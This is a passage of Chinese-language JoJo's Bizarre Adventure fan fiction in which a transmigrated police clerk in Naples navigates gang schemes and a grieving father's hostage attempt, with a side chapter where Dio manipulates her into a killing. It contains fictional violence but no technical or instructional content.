“托比欧,钓鱼了话还是要调配自己的馅料比较好。而且你说了吧,那个女人反应的速度不错,再加上她似乎加入比安奇的组织只是为了钱的样子,比安奇一死看起来也无所作为。”
“那......?”
“这样的家伙,不变成自己的饵料实在是太可惜了。”
“啊,boss您原来是这么想的吗?我已经明白您的意思了。那我应该怎么做呢?还要把她带给波尔波那边吗?”
“不要直接出面,托比欧,钱能收买的东西没必要浪费功夫。而且,现在还有要追踪箭的线索的家伙,等把他们解决了之前,波尔波那边都得安分一些。”
“好的boss!”
*
我怀疑我的事业运真的回来了!
这具体表现在早上送完乔鲁诺去上学后,一个卖报的小孩递给我了一个很大的文件袋。我本来以为那是什么强买强卖准备闪身逃离的时候,小孩给我指了指一张纸条。
[安比奇已死,你应该明白什么是正确的选择。]
94.急
“露娜,今天心情不错嘛?”我走进了警.局的大门,就撞见了部长。他依旧是地中海的造型,为数不多的几根头发被整整齐齐地打理着,看起来很是精神,只不过他皱着的眉头彰显了他的心情。
哎呀,看来是一早上就遭遇了什么啊。
但是对于这份注定短暂的工作,我并没有什么留恋,因此根本没必要对一看就水很深的上司献殷勤。
我立志将“迟钝不懂人情世故的关系户”的人设立到底,因此假装没看见科长的长吁短叹。
“哈哈,因为今天天气不错嘛。”我哈哈完这一句,转身就要溜走。
本来应该是很顺利的。毕竟从科长昨天的态度来看,他应该是不希望我接触什么警局的某个事件的。而艾米丽的态度完全相反。所以我这么自觉地不接触任何事照理来说应该能让科长满意。
不过,这毕竟是照理。就算是真理也不是一成不变的,总是要随着条件的变化而不断发展。
“哎呀,露娜先等等。”
科长叫住了我,叹了口气,“你之前不是说要重新拍证件照吗,要不就趁着现在去拍一个吧。”
“现在吗?”
不管怎么说需要那么急吗?比安奇死了,但是比安奇所在的黑.帮还在,作为被这种类型组织送进来的关系户,在所在黑.帮没有彻底被吞并的时候,我应该还能安稳呆在警.局才是。
而就入职时科长的表现和对我的暗示,他明显就是比安奇组织在这里的“白手套”才对。
难道说,昨天对面盯着我的人果然是比安奇所在的组织,为了检查我是否还在追寻passione的boss的线索,结果被神秘人团灭所以被认为是警告吗?
所以我现在看起来树倒猕猴散,失去了靠山,因此不得不紧急打一下证件上的补丁吗?
当关系户的日子就是这么短暂吗?只有1天.....
我对我自己的推测感到了丝丝忧伤。
当然,这一切有些跳跃的推理并不是什么我想象力的创作。
我昨天确实没有在火场中找到什么关键的证件,但是,在我报了火警后,最先赶来现场的不是火警,而是几辆看起来普通的车子。其中下来的一个人有着和比安奇相似的面孔。
这样子,一切都理的通了。
大概率是passsione对比安奇下手,目的大抵是为了震慑这个组织。而我作为一个组织想要对passione出手的靶子,比安奇所在的组织恐怕是希望passione对我下手吧。
只不过没想到的事,监视我的人反而先被解决了。而passione反而在暗中对我投出了橄榄枝。
哎,只有比安奇一个上司显然也不是什么好事,他死了我都不知道还能找谁继续要工资了,不过也不知道这个组织还能挺多久就是了,毕竟现在看起来连作为“靠山”都开始失格了。
我真心实意地叹了口气。
这声叹气显然是被科长误会了,他的表情轻松不少,但依旧皱着眉头,看起来很是忧愁。
“露娜啊,虽然是年轻人,但还是要珍惜时间。你要知道,即使是一天也能发生很多事情,而这些事情可能会造成很大的变化啊。”科长语重心长的,配上他的表情结合昨晚发生的事,总让我感觉话里有话。
“那--”
“就现在去拍吧,你在这里等一下我吧,我去问问户籍科有没有空。”
还没等我回答,科长就风风火火地走了。走的速度之快,让我怀疑身后有什么东西在追。
是什么东西呢?
嘛,总有种被坑了的感觉。
“喂,你这家伙怎么又来了。”大门处的保安大声嚷嚷,似乎很不满。
我转头看去,那是一个有些驼背的男人,他大概一米七五左右,但是因为蜷曲着身体,整个人看起来有些矮小。
保安大声地嚷着,唾沫星子都差点喷他脸上了,他也不恼火,只是赔了个笑,塞给了保安一包烟和几张钞票。
保安的叫声小了些,他飞速把钞票塞进口袋,接着又拿起那包烟端详了两下,撇了撇嘴。
“你这家伙,这一套行不通的!”他把烟扔向那个蜷曲着身子的男人,摇了摇头,一副正义凛然的样子,一边小声嘟囔着“便宜货色”。
不过保安还是侧了身子,留出了能过来的通道。
那个男人怯怯地说了一声谢谢,捡起了地上的那包烟,把烟好好地塞进了随身带着的小包里,又向着大厅走来。
他的脸平平无奇,是一派老实人的样子,额头上被生活雕刻出了不少皱纹,看起来似乎仅仅活着就让他精疲力尽。但他诡异地像是被某种东西吊着,撑着一口气活着一样。
这样的架势,很危险啊。
但是周围的人都没有什么别的反应,将他放进来的保安甚至没有再多看他一眼,似乎对于他的到来已经习以为常,甚至连他带着的小包也没有检查。
结合到之前艾米丽说的话,我不难猜出这应该是那位“最近来警.局闹事的家伙”。
好啊,科长叫我在这里等着不会就是想让我故意撞见他?不应该,明明昨天他的态度还是希望我当做不知道这件事呢。
这件事暂且不论,我紧紧盯着那个男人有些颤抖的手,抿了抿嘴。
“警.官!”他抬起了头,看见了我,眼睛猛地瞪大,远远对我打了个招呼。
嘶,这个反应...
他平时来也是这幅样子吗?
他似乎是想招手的,但是手臂像是有些痉挛的样子,升到了一半就有些不受控制地开始颤抖,最终只是带着一丝尴尬的笑放下了手。
但引起我注意的是他的另一只手。那只手紧紧贴着包,不自觉地勾勒着里面东西的轮廓。见我看过去,他的眼神不自觉躲闪了一下,但最终还是定住了,嘴角勾起僵硬的弧度向我走过来。
他的嘴嗫嚅了几下,怯生生的眼里闪过了一丝莫名的狠厉。如果按嘴型来看了话,似乎就是“对不起”。
不是吧,这几个要素叠加起来,不管怎么看都很不妙吧。
周围的警员还在摸着鱼,眼神一看到那个
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男人就立马离开,显然不想理会这个男人。
而站在这里等待科长的我,一进门就能被对上视线的我,完全成为了最好的目标。
我几乎都想发笑了。
所以事业运时来运转难道是我的错觉吗?不管怎么说,警.局的这个月工资还没给我发呢,我觉得我的运气还没到能把那不勒斯的警局干倒的地步吧。
看着即将将手伸进包里的男人,我挑了挑眉,带着最热烈的笑容快步走了上去,强行握住了他的手。
“诶?警官!”
没想到我会冲过来,男人几乎就要像受惊的兔子,几乎要应激地挣脱过去。
只可惜,比力气我是不会输的。
我牢牢握住他的手,几乎是强行把他定在了原地。
“这位先生,您有什么难处吗,来我们警.局我们一定致力为你解决。我们警.局设立的意义就是替普通人服务的。”我露出了八颗牙齿,展现了标准的“为那不勒斯普通人服务”的微笑。
就算此时拍摄宣传片,我的这个充满信念的笑容也绝对合格。
我这样充满信念的笑可能在一瞬间给了面前的男人强烈的冲击。
因为他明显愣了一下,挣扎的力道也小了不少。
“一定?”
我还没来得及回答,旁边的警员就发出了噗嗤的笑声。见我看了过去,又马上转过了头。只是用着能让人听见的音量小声地和旁边的同事吐槽,“哎哎,那个新人哪里来的,懂不懂规矩啊......”
哈?
现在快要被捅的人是我,你小子安分点,讨打别趁现在。
我继续保持着微笑,看着又开始沉默的男人,声音大了点,“警.局的意义不就是这样吗?”
这样子正义凛然的话显然不能是直接被反驳的,因此旁边的警员只是撇撇嘴,也不再说什么。
好像从来没被这么说过,眼前的男子眼睛亮了起来,就像抓住了什么救命稻草。
好好好,这样了话有救。
不愧是我当年为了推销银行卡而练出来的嘴炮。看来人的技能总能在某些时候发挥出作用。
我舒了一口气,正准备松开他的手,科长的声音又从后面传来。
“哎呀,到时候了,快点。”我回头看他,科长笑盈盈地看过来,不知在对谁说话。
“露娜,快点过来吧,户籍科时间宝贵,能留给我们的时间不多了。”
该死,这个老登。
他的话简直就像摔杯为号,眼前的男人身子一个踉跄,就像是被上了发条的玩具一样,眼神黯淡,又开始缓缓动作起来,意图拿出包里面的东西。
“对不起,对不起,他说这是最后的办法了。我家孩子绝对不是被车意外撞死的,如果不这样,可能永远没希望了。”
等等,车,交通肇事,档案室,那个请冰淇淋的奇怪男人。
我的眼神犀利了起来,看着一副立马准备挟持我的男人,手腕微微用力。他的脸上顿时变得痛苦了起来。
我知道你急,但你先别急。
95.(加更二合一)jo3if埃及.刀[番外]
我偶尔会思考关于人生的意义的问题。
当然,一般来说总是想到一半就没有下文了。
因为思考越多,可能就痛苦越多,所以很多时候不去想可能才是最好的事。
埃及的太阳为什么这么晒,我为什么会穿越,而且为什么便利店的工资还没发就得穿越,到底凭什么埃及所有人都在说霓虹语。
种种事情如果想破了头,可能也就这样吧。
“李,快过来!”
一道声音打断了我的思考,我应声过去,脸上挂着标准的笑容--“您好,是打算要橙汁还是可乐呢?”
没错,即使穿越到1987年的埃及,我还是干起了穿越前的最后一份工作--店员。
虽然三百六十行,行行出状元。但我本以为至少在19871年还没有那么卷的时候,至少能拿到别的工作。
“你的文凭。”
“额,我是x国xx大学毕业的。”
“证件呢?”
“......”穿越的时候谁能随身携带啊,而且就算我有,那个明晃晃的出生年份也会被认作是假证吧。
“技能?”
“......”精通excel、ps、pr等办公软件,会开车,能修空调、冰箱等家电,但是放在这个时代差距很大的地方完全没有用武之地啊。
至少我精通几国外语!
但是在这个奇妙的全世界都说霓虹语的世界似乎没什么用,他们居然和外商交流都说霓虹语。
看着hr尴尬而不失礼貌的微笑,我尽量让自己从容体面,但是充满着对工作的热情,“多谢!如果有合适的工作,我一定还会再来的。”
那种意x林外国故事说的帮忙倒垃圾、扫地能得到别人的青睐的事果然全都别信!
我拎着垃圾袋,不把屁股面对对方,礼貌微笑平移离开,走的时候甚至还将座位复原。
回忆起这段经历,我脸上标准的服务业微笑差点一僵,险些握不住兜里的手机。
给着一个一直坐在窗边玩牌的客人上完了酒,我捏着兜里的手机,向店长打了个招呼,遛进了厕所里。
呼,手机!
当然,我并不是趁着工作间隙来摸鱼玩手机的。
我没有选择开机,只是盯着手机的黑屏,看着屏幕里映出的一脸平静的面孔,稍稍发了会呆。
这个手机是除了防狼喷雾以外我穿越时随身携带的为数不多能展现出科技的东西。
虽然手机手机已经发明出来了,但还停留在固定电话的阶段,别说智能手机了,连移动电话的水平都远远达不到。
如果将这把智能手机给懂行的人研究,至少应该也能拿到不少的费用,让我不不至于继续借宿在店主家。
食宿全包可是大大降低了我的工资,整个人的工资水平堪称奴隶。完全无法存下钱去更远一点的地方找点别的工作。
而且店主的孩子看我的眼神有点恶心,我已经随时准备跑路了。我的力气比一般的人大,但是由于现在一直没吃饱的关系,似乎也发挥不出应有的水平。
我叹了口气,继续摸了两下手机。
手机钢化膜的左上角有小小的裂痕,手感并不好,但是这样短暂地拿出时间摸着手机却能给我近乎安慰剂的效用。
就好像我没有莫名其妙来到一个陌生的时代、陌生的地方。
“李!还没好吗?我进来找你吧?”店主儿子的声音从厕所门口传来,我浑身一机灵,立马藏起手机,整理了一下衣服。
再打工半个月,先攒一点钱,把手机卖掉吧。唔,不过是不是还得蒙着脸去,否则被人发现从未来穿过来我不会被送进实验室吧。
要不假装这是x国的最新科技呢?不知道能不能行得通啊。
*
但是离开这家店的时机比我想象的还要早。
我看着自己手上的血迹,又看着不能理解发生什么的少女,努力挤出一个微笑。
“没事的,别害怕。”我拿起一张纸巾,试图擦掉沾到衣服上的鲜血,但是没有用。鲜血已经渗入了棉麻材质的浅色背心,根本不是白色的纸巾能吸附的。
少女抓着自己衣服,还咬着手,脸上带着脸上还挂着泪水,“他刚刚好凶,现在为什么躺在地上一动不动?”
我提了提她滑落到手臂的衣服,衣服被撕扯地变形了,都不太好遮蔽她的身体。我想了想,放下了手上的小刀,脱下了自己的外套。
“虽然有点脏,但是应该看不出来,你先穿上吧。”我把衣服套在她的身上,看着这个可能只有十三四岁的少女,努力使自己的表情变得温和。
我看着胸口还在起伏的店主的孩子--一个畜生,想了想,又捡起了地上的刀。
那把他用来强迫别人,还企图杀死我的刀。
“他应该是因为太凶了所以受到了惩罚,等会我把他送去医院就行了。你要不要先回家找一下爸爸妈妈。”我回想起自己做的止血急救,又看着胸口还在起伏的地上的那玩意,努力收住自己的哂笑。
我不知道自己的表情是怎样的,但显然效果还行,少女呆呆地点了点头,“我想回家去找妈妈,妈妈应该给我做了好吃的。”
“好呀,回家先吃饭吧,那我看着你回去好不好呀?”
“好的!我的家就在那里。”少女指着附近的一幢小楼。不错,这个距离,走出小巷我就能目送她到家。
我抱着手,遮住背心上的血迹,保持着微笑送目送着那孩子回了家。她站在家门口,还伸手对我打招呼,我听不清她说什么,只能摆摆手,只能回以微笑,转头又钻进了巷子。
最近吃饭没吃饱显然带来了一些恶果。就比如,原本倒在地上的家伙竟然醒过来了。
“你xxxxx。”他扶着自己脖子,摸了摸自己好好包扎的伤口,露出讽刺一笑。
“你这家伙,我回头就让我爸妈把你抓进去,你是个黑户吧,还敢对我动手,我铁定让你被关个十年八年的哈哈哈……”
他说着,舔了舔嘴唇,发出嘿嘿一笑,“除非你让我先爽一下。”
我又拿出了沾着血迹的小刀,向他走去。
这样的家伙没有胆子,武力威慑就应该足够了。我应该算是正当防卫,不过穿越使得我没有证件确实很麻烦。
“你这话等着跟警察说吧。”
一听这句话,那家伙脸色一变。
我捏紧了刀,有些诧异自己此时的手稳。
“你敢!我可没滿14岁,你以为这样子就有用吗?跟你说吧,那个傻子我就算玩玩又怎么样,你敢伤害我,我就让你去坐牢。等你出来了,那样的傻子我都不知道玩多少个了!”
三米。
“你还敢过来,呵,看来你是很想尝一尝男人的滋味啊!”他哆嗦着撑起身子,试图快点爬起来。
两米。
“你别杀我,我会让我爸妈给你钱。很多钱,你不是要钱才来的吗?”
一点五米。
“你别过来,你别过来!”他踉踉跄跄站了起来,扶着墙,全然不像刚刚我走进巷子时看到的嚣张模样。
我虽然觉得讽刺,但是内心还是不自觉舒了一口气。
没死。果然没死。
就算是人渣,也得去接受法律的审判。我并没有夺取他人性命的觉悟。
没死,还好。
这个距离用防狼喷雾吧。
接下来就把他绑起来,然后去报警就好了。不过这里估计是待不下去了,我得转移去别的地方才行。
就当自己再穿越了吧,问题不大。
我在心里安慰着自己,一面闻着空气突然出现的臭味,看着脚边似乎聚起一滩液体的家伙,思考怎么绑住他更加卫生。
现在天都黑了,得抓紧时间了,否则都要看不清了。
“啪-啪。”
异样的声音从我身后传来,我看着那家伙茫然害怕的表情,下意识握紧了刀,微微侧转身回去。
那是个金发的男人,个子很高,几乎挡住了月亮照进巷子的光。
他穿着类似黄色开裆裤一样的外衣,里面穿着紧身的黑色内搭,勾勒出过于健壮的肌肉线条。
可是他的脸有着与健壮身体完全不符的苍白,一副欧洲人的面孔,不过看起来毫无血色,简直就像是电视剧中的吸血鬼形象。
即使是背对着光,都能看出他脸上的苍白和……魅力。
魅力?
我被这个想法吓住了,更加警惕起来,盯着这个不知敌我的家伙。
他,很危险。
他的手还保持着一个鼓掌的姿势,和我对上视线,勾起了嘴角,看起来很是愉悦,又继续地鼓起掌来。
怪人。
虽然这方很危险,但我没有忘记一边还有一个人渣。我迅速地撇了一眼,发现他在发呆。
对着那个出现在巷口的神秘男人,流着口水,发呆。
这完全不像是正常的样子。
看来先别管这家伙了,眼前的金发男人总感觉更危险,我先跑再说。
但金发男人堵住了巷口,如果要跑必须经过他。
“先生,让让好吗?”我露出完全无害的微笑,把原本属于店主孩子的小刀贴近身子放着我,一面向巷口走去。
男人停下了鼓掌,微微歪了歪头,看起来似乎有些困扰。
“哦呀,这位女士,现在就要走吗?”
“现在也不早了,我要先回家了,还有人等着呢。”
离金发男人很近了,我的脚步慢了些,一手隐秘地掏着防狼喷雾。
我不确定他有没有看到我的动作,但有一种他眼神扫过了我口袋的错觉。
“是嘛,那么还真是有自我可惜呢。我还以为你愿意和我成为同伴什么的,毕竟听刚刚那个人说我还以为你可能需要一点帮助。”
他着重咬住了“同伴”“帮助”这个词,语调带着一种缱绻的感觉,眼角扬起,里面盛满笑意。
如果我此时自我意识过剩,几乎都会认为这是在调.情。
但我现在头脑清醒,甚至因为紧张激动引起的肾上腺素上升而变得越发谨慎。
看见人半身血出现在巷子里,还能莫名其妙鼓掌再说提供帮助什么的,如果还不觉得有问题那我的反诈宣传讲座就白听了。
不过现在不宜激怒这种变.态。
我没再说话,只是捏紧了匕首试图离开,意外的,就在我路过他的时候,什么也没发生。
我看着尽在咫尺的巷口,不由松了一口气,正打算快速跑起来,那个金发男人又带着笑意开口了。
“哦呀~不过女士,看来你并不想走啊。”
什么鬼话,我怎么可能……
我都没打算理会,拔腿就跑,却差点撞上了那个金发男人。
等等!他什么时候到我前面来的!他什么时候追上来的!
我被吓了一跳,但仔细一看四
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周的环境,只觉心脏骤停。
——我还在小巷子里面,根本还没出去。
那个畜生还在我身后,眼前还是这个诡异的金发男人,就好像我根本没有迈出步子一样。
金发男人发出愉悦的笑声,还摩挲着自己浅色的下唇。夜风轻轻拨动他的金发,举手抬足,莫名有一种可怕的魅力。
这样的魅力怕是带着毒的。
我能确定我离开了,毕竟我完全没有理由留在这里。
我咬咬牙,准备再继续冲出去,但是睁眼间却发现自己还在巷子里。
甚至动作没有任何改变!
一定是他做了什么!
我看着金发男人。他的表情还是很愉悦。
“还是想成为我dio的同伴吗?”他笑着,向我靠近一步。
我举起匕首,放在身前。
“你做了什么?”我很确信,这个自称dio的金发男人绝对做了什么,虽然目前我还无法解释。
现在已经不是考虑是否激怒他的问题了,他根本没想让我走。
“真是可怕的控诉。”
dio摸着下巴,一点不在乎我身前的匕首,继续靠近我,一边继续说话,“有时候,人类可以适当承认自己的欲望。”
dio弯下腰,几乎要与我挥过去的匕首贴着脸,“别女士,你不离开不就是想要把身后的那家伙杀了吗?”
呵,虽然这位dio一副善于玩弄人心的样子,但是这点完全是错误。
我看向躲开了小刀的dio的脸,准备拿出防狼喷雾——就把这招当作奇袭吧。
“真是不相信我啊,可是你明明想要杀.了他的欲.望那么强烈。你的怒火早就上涌了,你的内心明明充满暴虐,承认吧,你根本忍不了。”
dio轻笑一声,话里透着高傲,“别再欺骗自己了,装作想要对我dio动手,可是你看看自己的刀究竟捅向了谁吧。”
!
大股大股的鲜血涌了出来,就像我挖到了什么泉眼一样,彻底浸湿了我的衣服。
刀下的人嘴里吐出了几丝血,眼睛还是睁着,但是立马灰暗了起来,失去了活人的神采。
我伸手放在了他的鼻孔下,没有呼吸。
我试图感受着他的心跳,心跳停止。
无论是怎么看,眼前是迹象只能表明,在这把我握的刀下的,是一具死尸。致命伤则是由我造成的。
我夺走了一条生命。
我清晰地意识到了这点,彻底松开了握着匕首的手。
dio不知道什么时候贴近了我身侧,冰冷的鼻息吹在我的耳侧。
“你捅刀的角度不错,一击致命。”
我没有动作,感觉身上像被罩了一层寒冰。
“你做了什么?”我重复着之前的话,伸手拔出了匕首。
这不是正确的止血方式,但是对于一具失去生命力的人渣躯壳来说,也没有什么关系了。
dio轻哼一声,看着我,“现在的人类真是固执,甚至不敢承认自己是欲.望。”
我学着他之前那种表情,也笑了一下,对着那具失去生命的躯壳挥下那把匕首。
一块肉了下来。
dio皱了一下眉,又很快舒展开,望着我,挑起了一侧的眉毛。
“叫做dio的家伙真是固执,居然不敢承认自己的伎俩。”
我看着一下子冷下脸的金发男人,露出了标准的微笑,和收银、推销、敬酒时全然无异。
“如果是我,我会先这么做。看来你还是不够了解人啊,是因为你不是人的原因吗?”
我已全然确信,dio存在什么特殊能力,而我确实打不过他。我也相信,他可能真的有办法让我成为他的“同伴”什么的。
但我不想。
如果真心成为他的同伴,恐怕就要成为这种超级祸害了。
我看着dio冷脸向我冲过来,终于掏出自己酝酿已久的防狼喷雾。
只可惜,一点没用上。
我将匕首捅到禁锢着我脖子的胳膊,试图获得一点微薄的空气。
但还是失败。
他的胳膊上仿佛刀枪不入,挣扎的力道无力回天。
可恶!我还不想死!而且还是这种不知名死怪物手里!
我的工资还没发!能断断续续思考的人生的哲理也还没展开。该死的破工作!比起我,该死的明明应该另有其人才对!
我能感受到自己的呼吸越来越弱,脑子也变得模糊,整个人迷迷蒙蒙,仿佛已经触摸到了死亡的面纱。
隐约间,我听见dio在说话,“真有意思的眼神,我倒是舍不得了,效忠我吧,我很期待你的成长。”
如果我能说话,我会骂出21世纪互联网最脏的脏话,但我此时没有力气,只感觉额头有一股剧痛。
而后的记忆里,似乎只有满手的鲜血。
我已经……无法……再思考了。
*
“dio大人!有奇怪的事情发生了!那个您特意带回来的女人死了!”
“死了?以她得到了我的血后的身手和自愈能力,有谁能杀了她?”
“她不是被人杀死的,是箭!您为了激发她替身的那把箭直接贯穿了她!然后箭就消失了!”
dio合上了书,斜靠在椅子上,良久才发出一声轻笑。
“既然乔斯达家族已经被我解决了,这副备用的躯壳也无所谓了。”
96.授权
只用武力虽然可耻,但是确实超级有用。
我摸了摸男人的手腕,确定了应该只是脱臼而不是粉碎性骨折,忍不住松了一口气,脸上扬起了正直的笑,转头回复科长的话。
“好的,科长,我马上就来,不过现在好像有群众需要帮助!”
听到这话,就像是自己头顶仅存的几根头发被弄乱了,科长面部僵硬,嘴唇颤抖。
呵。
看着科长紧紧盯着对面的男人,似乎这样就能通过视线发号施令一样,我微微侧身挡住了他人的视线,握紧了对面男人的手。
男人的手腕无力地垂着,看起来就像是被弄坏的玩偶。他盯着自己的手腕,呼吸变得急促,心脏狂跳,额头上流下几滴冷汗,然后又不敢置信地看向我。
我依旧带着笑,看着他。他努着努嘴,张了张嘴,“对不起,可是我真的需要......”
我加大了手上的力道,笑容依旧和善。
对于脱臼的手来说,即使我现在握着手的力道不大,但也是一种折磨。但好在,这样的折磨是能让人稍微清醒一点的。
他心中因为失去孩子的痛苦被鼓吹而起,转成复仇的气球,不断胀大。从他现在的样子来看,恐怕在“不是意外”的探寻真相的道路上挣扎了许久。
但是一鼓作气,再而衰,三而竭。
他根本没有夺取他人性命的觉悟,如果因为冲动做了不可挽回的事情那真是......
我在内心叹了口气,看着对面男人吃痛的表情微微一笑,“没什么对不起的,普通人遇到困难当然得找警察。”
当然叫你找警察不是叫你直接拿着危险物品来找我。
对面的人愣住了,抬起了耷拉的眼皮,像是读懂了什么。
“还有家人吧,别放弃啊。”我小声地对他说,在他呆滞的眼神中向前走去。
我几乎是强行将他拉倒了脸色像是便秘了很多天的科长面前。
算了算了,既然我的“靠山”都倒了,也别指望在这里久呆了,干脆干点事吧。
虽然讨厌麻烦,但是如果真的有事,那也得上啊。
“科长,好像有人求助诶,这个我们得管是不是啊。”我面露出关系户独有的倔强和看不懂空气,拉住了左顾右盼的科长。
“哈哈....”科长干笑了几声,眼睛死死盯着对面的男人,像是要用眼神将他身上的肉给剜下来。
对面的男人嗫嚅了几下,想说点什么,但他的手还在我这,在剧痛的暗示下,他还是低下了头,不敢面对科长的目光。
嘛嘛,看起来老实了。
我松开了手,转身面向科长。
“科长你说句话啊!”
“说句话啊!”
“话啊!”
女人的声音响亮,简直魔音绕耳,让档案科的科长只觉得脑袋疼,恨不得插上翅膀立马离开。
但是他离不开!
天知道这个女人力气怎么这么大!
档案科科长看着自己的袖子。
袖子的另一头在女人的手上,此时因为力道过大而形状变形。按现在的力道,他再往旁边走,那截袖子撕裂的可能性也不低。
该死,怎么能出现这么多变数。
这个比安奇塞来的女人就应该乖乖被挟持,然后在这场“意外”中不幸丧生。这样之比安奇的组织内部的矛盾才能更加暴露出来!
比安奇死前最后塞进来疑似情.妇或者情报人员的家伙,竟然因为要向一个比安奇组织内别的派系庇护的嫌犯而死,这样还不愁乱起来。
尤其是在现在这个人人自危的时候!
呵,当初和比安奇合作想要打探passione组织的boss算他眼瞎,他现在及时更正,将比安奇的组织弄得一团糟从而像passione投诚就行。
本来就应该这样!
科长咬了咬牙,看着那个此时还在傻笑的女人,只觉头疼欲裂。
但是他此时又不得不挤出一个比较亲切的笑容,“露娜,你说的不错,要不这件事就先交给你了。”
他得先走!他现在可还是比安奇组织的“白手套”,如果被有心人发现他设局想投靠passione,那群组织里保守派的疯狗一定会咬上来的。
该死!让他走啊!留着这个女人放在原地和这个男人就行了。就当做是比安奇的手下想要闹起来就是了。一定要把自己摘干净!
科长紧张地四处看去,只觉得他人的目光都像是窥伺。该死!再呆久一点别人绝对会起疑!倒时候再由线人传递过去,那群保守派还不得闹起来。
档案科科长使出了自己全身的劲!
“嘶啦!”
我看着自己手上的半截袖子,又看着欣喜若狂的科长,挑了挑眉。
“科长!”我挥舞着那半截袖子,脸上很是不解,“我只是新人呢,我该干什么不是得全靠科长您指挥吗?”
你要是真这么听话还能不懂我的话中话!还扯上我!
档案科科长都想吐血了,他捏紧了拳头,让自己努力保持表情正常,“当然是要按流程办事。”
就这么一步一步走下去,如果那家伙想翻案,光是一层一层上诉的流程就有办法耗死他。当然,这也与自己没关系,机器运作可是需要润滑油的,这油的钱可得想要启动的人出。
而且就算转动了机器又怎么样,最终的按钮也不在这种下贱人的手上。
这么一想,档案科科长露出了讽刺的微笑,但是在他一贯的温和面具下,这还显得有几分亲切的领导的意味。
“好的!收到!我明白科长您的意思了!”
不,你懂什么了!
档案科科长露出了一个近乎惊恐的表情。
接着,他就看见那个女人一派傻样子,一脸欣慰地拍了拍那个想要翻案的家伙的肩膀,“你看,科长授权给我了!你就大胆提出你的诉求吧!”
不是,你是怎么得出这样的结论呢?
本来想要先退场的档案科科长试图挣扎一下,“露娜,你可能没有明白我的意思。”
“诶?所以果然科长您来指导对吧!”
不,我真掺和进去可就麻烦!你是傻子我可
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不是!
既然都到现在这个地步了,也只能选择一个比下下策稍微好一点的结果了。
科长深深吸了一口气,看了看自己的袖子,释放出自己憋着的怒气,“露娜!你果然还是没懂我的意思!你是完全没把我放在眼里吗?算了,我根本管不了你!”
他深深看了那个傻子一样的女人一眼,抿着嘴。
她必须得死,既然刚刚没死,之后也必须去死。
否则,他做的局不但还会白白浪费,反而会使自己惹得一身腥。
反正所有人都看见了,是这个女人主动接触的那个想要翻案的家伙。
说完,他怒气冲冲地离开,甚至没有拿起我递过去的半截袖子。
唔,选择了努力撇清关系的做法吗?而且他最后离开的眼神,完全是看死人的样子。
“诶?不管我,意思是完全授权吗?科长还真是看重我啊~”在众人无语的目光中,我幽幽叹了口气,将手上的半截袖子叠好,看向了身边不知所措的男人。
“先生,怎么称呼?”
*
如此如此,我在这位乔瓦尼先生的叙述下,我终于了解了事情的来龙去脉。
他的孩子在四年前遭遇车祸,当场身亡。
肇事司机逃跑,被警察抓获后得到的口供确实因为车辆的“意外”而造成的无法避免的事故,而且主要原因还是他的儿子自己贪玩跑进了马路上车前方的死角区,司机避之不及再加上车辆的“故障”才造成了这场悲剧。
如果这样看,这可能只是一场令人痛心的交通事故。
司机因为“车辆故障”外加行人的较大过错只被判了四年,今年就即将出狱。
但问题是,“我之前明明看到了,桑尼他的脖子上有个被烟头烫伤的痕迹。如果只是交通事故,怎么会!”
乔瓦尼的眼泪流了下来,他敲了一下桌子,刚被接好的手又承受暴击,但他好像浑然不觉。
“我们一家人都觉得有疑点,但不管如何上诉,得到的都是当时的判决没错的结果,当初无论是人证还是物证都说是如此……”
“那你……”难道是怀疑证词所以来准备挟持我?
“因为有人告诉我,桑尼的案情却有隐情,但由于那个司机其实是通过给了黑.帮钱而买通了警局,所以根本没得到应有的处罚!”乔瓦尼怒目圆睁。
“所以他教唆你来挟持我?”我看着奄下去的乔瓦尼,并没有什么好脸色。
“所以他告诉你那个司机是向谁行贿的?”我问出了自己最想知道的话题。
“是passione!”
啊?
*
“你被黑.帮给盯上了。”
高大的银发男人抓着我的手臂,奇异的眼中看不出情绪。
我看向这位档案室的神秘人/瓦乔尼的表弟/交通肇事案受害者的叔叔,恰如其分地露出了点害怕的情绪。
“你说的是?”
“passione!”
?
我的钱还没捂热乎呢!现在就要被新老板给炒了吗?
97.开酒店(带增补)
是不是吓到她了。
里苏特抱着手靠在墙上,看着被他的话震惊的女人,少有的感到了一些愧疚。
将一个无辜的“单亲母亲”卷进这件事绝非他的本意。
他本来只是打算潜进档案室找到当年桑尼的案子的资料,没成想差点被新来的档案室的警员发现。一旦她发现了他,事情就会变得麻烦起来。
那个害死桑尼的司机一定能在狱中提前得到消息,变得更加谨慎。这样子想要等那个该死的司机出狱后以命偿命就会变得更加困难。
将恶劣的谋杀伪装成事故,如果这样的人不受到应有的惩罚,受苦的人留下的泪水,受害者失去的生命将由什么进行补偿呢?
但或许是好运,那个新来的警员在门口就短暂离开,留给了他宝贵的五分钟,使得他能够将那些资料全部看完。
里苏特的目光停在了女人的发顶上,黑发被利落地扎成马尾,自然垂下,显得整个人很干练。女人特意换下了警服,或许是考虑到被邻里注意到会有不好的影响。
一想到这,里苏特的心情有些复杂。
他将那个宝贵的五分钟当做是命运对于他复仇计划的许可,而对于给予五分钟的这位警员,也报有一些好印象。因此,在发现她被跟踪时,还是选择出现在她身前进行提醒。
他本以为这应该是他们之间最后一次接触,却没想到现在还能扯上关系。
“还没和你道谢,瓦乔尼的事谢谢你了。”
听见他的话,女人抬起头来,黑曜石般的眼睛回望着他,微微摇了摇头,“这是件小事,警察应该做的事而已。”
她的话里确实没有把这件事放在心里的意思。即使她差点被挟持,还莫名其妙卷入了麻烦的事情。
不管怎么说,这都不算小事,而且那不勒斯的警察才不会这样。
里苏特凭借自己的身高,透过窗子看见了屋内与表嫂抱着哭泣的表兄,眸色渐深。
表兄最终是被这位女士送回家的。她刚好撞上了要出门的里苏特。
表兄已将一切都与这位女士坦白,里苏特也没法再隐藏自己与案件的关联。
他没想到以往老实的表兄会被鼓动地去袭警来求翻案,他们一家明明那么善良。
表兄乔瓦尼除了当初对那些冷眼指着丧母的他痛骂“诅咒之子”的亲戚大吵了一架然后收留了他以外,从未和别人吵过架;表嫂是温和的女人,她从不嫌弃表兄往家里带来了负担,一直待他如同自己的亲弟弟一样;而小桑尼,那个机灵的小家伙总是喜欢把他当做最崇拜的叔叔,跟着他玩抛高高的游戏。
里苏特曾经发誓要守护这个家庭的幸福。
可是小桑尼被无良司机撞死,警方在那里搅稀泥,黑.帮又混杂其中,利益的磨盘下,没有人会在意小小的一个家庭的幸福,没有人在意一个小小的交通肇事案是否公正地处理了。
但是里苏特在意。以眼还眼,以牙还牙。司.法没带来的正义,他会去争取获得。
